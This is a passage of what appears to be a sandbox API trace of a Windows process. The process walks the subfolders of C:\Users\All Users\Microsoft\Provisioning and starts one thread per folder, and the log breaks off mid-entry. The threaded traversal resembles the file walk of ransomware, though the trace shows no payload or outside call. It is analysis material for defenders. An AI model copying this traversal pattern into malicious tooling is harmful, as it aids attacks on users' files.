wcscmp (_String1="{23cb517f-5073-4e96-a202-7fe6122a2271}", _String2=".") returned 1 [0171.006] wcscmp (_String1="{23cb517f-5073-4e96-a202-7fe6122a2271}", _String2="..") returned 1 [0171.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f90b60 [0171.006] wcscpy (in: _Dest=0x2f90b60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.006] wcscat (in: _Dest=0x2f90b60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.006] wcscat (in: _Dest=0x2f90b60, _Source="{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" [0171.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f90b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0171.008] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8abe7a9b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8abe7a9b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1 [0171.008] wcscmp (_String1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", _String2=".") returned 1 [0171.008] wcscmp (_String1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", _String2="..") returned 1 [0171.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f90c10 [0171.008] wcscpy (in: _Dest=0x2f90c10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.008] wcscat (in: _Dest=0x2f90c10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.008] wcscat (in: _Dest=0x2f90c10, _Source="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" [0171.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f90c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0171.008] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ab2910d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ab2910d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1 [0171.008] wcscmp (_String1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", _String2=".") returned 1 [0171.009] wcscmp (_String1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", _String2="..") returned 1 [0171.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f90cc0 [0171.009] wcscpy (in: _Dest=0x2f90cc0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.009] wcscat (in: _Dest=0x2f90cc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.009] wcscat (in: _Dest=0x2f90cc0, _Source="{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" [0171.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f90cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0171.009] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a8ecc93, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a8ecc93, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0171.009] wcscmp (_String1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", _String2=".") returned 1 [0171.009] wcscmp (_String1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", _String2="..") returned 1 [0171.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f92210 [0171.010] wcscpy (in: _Dest=0x2f92210, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.010] wcscat (in: _Dest=0x2f92210, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.010] wcscat (in: _Dest=0x2f92210, _Source="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" [0171.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f92210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0171.010] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a85459b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a85459b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0171.010] wcscmp (_String1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", _String2=".") returned 1 [0171.010] wcscmp (_String1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", _String2="..") returned 1 [0171.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f92160 [0171.010] wcscpy (in: _Dest=0x2f92160, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.010] wcscat (in: _Dest=0x2f92160, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.011] wcscat (in: _Dest=0x2f92160, _Source="{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" [0171.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f92160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0171.011] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a76f442, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a76f442, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1 [0171.011] wcscmp (_String1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", _String2=".") returned 1 [0171.011] wcscmp (_String1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", _String2="..") returned 1 [0171.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f92420 [0171.011] wcscpy (in: _Dest=0x2f92420, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.011] wcscat (in: _Dest=0x2f92420, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.012] wcscat (in: _Dest=0x2f92420, _Source="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" [0171.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f92420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0171.012] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a6d6a43, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a6d6a43, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0171.012] wcscmp (_String1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", _String2=".") returned 1 [0171.012] wcscmp (_String1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", _String2="..") returned 1 [0171.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f922c0 [0171.013] wcscpy (in: _Dest=0x2f922c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.013] wcscat (in: _Dest=0x2f922c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.013] wcscat (in: _Dest=0x2f922c0, _Source="{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" [0171.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f922c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0171.014] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a68a603, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a68a603, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0171.014] wcscmp (_String1="{99b095d8-5959-4820-bea7-7448c8427b4e}", _String2=".") returned 1 [0171.014] wcscmp (_String1="{99b095d8-5959-4820-bea7-7448c8427b4e}", _String2="..") returned 1 [0171.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f924d0 [0171.014] wcscpy (in: _Dest=0x2f924d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.014] wcscat (in: _Dest=0x2f924d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.014] wcscat (in: _Dest=0x2f924d0, _Source="{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" [0171.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f924d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0171.014] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x885bbd37, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x885bbd37, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0171.015] wcscmp (_String1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", _String2=".") returned 1 [0171.015] wcscmp (_String1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", _String2="..") returned 1 [0171.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f92370 [0171.015] wcscpy (in: _Dest=0x2f92370, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.015] wcscat (in: _Dest=0x2f92370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.015] wcscat (in: _Dest=0x2f92370, _Source="{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" [0171.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f92370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0171.015] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8862e217, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8862e217, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0171.016] wcscmp (_String1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", _String2=".") returned 1 [0171.016] wcscmp (_String1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", _String2="..") returned 1 [0171.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f926e0 [0171.016] wcscpy (in: _Dest=0x2f926e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.016] wcscat (in: _Dest=0x2f926e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.016] wcscat (in: _Dest=0x2f926e0, _Source="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" [0171.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f926e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0171.016] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x886a0b78, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x886a0b78, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0171.016] wcscmp (_String1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", _String2=".") returned 1 [0171.017] wcscmp (_String1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", _String2="..") returned 1 [0171.017] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f92580 [0171.017] wcscpy (in: _Dest=0x2f92580, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.017] wcscat (in: _Dest=0x2f92580, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.017] wcscat (in: _Dest=0x2f92580, _Source="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" [0171.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f92580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0171.017] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8871313b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8871313b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0171.017] wcscmp (_String1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", _String2=".") returned 1 [0171.017] wcscmp (_String1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", _String2="..") returned 1 [0171.017] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f92630 [0171.017] wcscpy (in: _Dest=0x2f92630, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.018] wcscat (in: _Dest=0x2f92630, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.018] wcscat (in: _Dest=0x2f92630, _Source="{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" [0171.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f92630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0171.018] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x887858ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x887858ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1 [0171.018] wcscmp (_String1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", _String2=".") returned 1 [0171.018] wcscmp (_String1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", _String2="..") returned 1 [0171.018] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f92840 [0171.018] wcscpy (in: _Dest=0x2f92840, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.018] wcscat (in: _Dest=0x2f92840, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.018] wcscat (in: _Dest=0x2f92840, _Source="{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" [0171.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f92840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0 [0171.019] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x887f808b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x887f808b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0171.019] wcscmp (_String1="{ee4aac98-c174-4941-82b1-d121e493e4fb}", _String2=".") returned 1 [0171.019] wcscmp (_String1="{ee4aac98-c174-4941-82b1-d121e493e4fb}", _String2="..") returned 1 [0171.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f92a50 [0171.019] wcscpy (in: _Dest=0x2f92a50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.020] wcscat (in: _Dest=0x2f92a50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.020] wcscat (in: _Dest=0x2f92a50, _Source="{ee4aac98-c174-4941-82b1-d121e493e4fb}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" [0171.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f92a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0171.020] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x888444d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x888444d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0171.020] wcscmp (_String1="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", _String2=".") returned 1 [0171.020] wcscmp (_String1="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", _String2="..") returned 1 [0171.020] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f92790 [0171.020] wcscpy (in: _Dest=0x2f92790, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.020] wcscat (in: _Dest=0x2f92790, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.020] wcscat (in: _Dest=0x2f92790, _Source="{f11899f2-71ec-4621-9997-e17ae2f6eb26}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}") returned="C:\\Users\\All 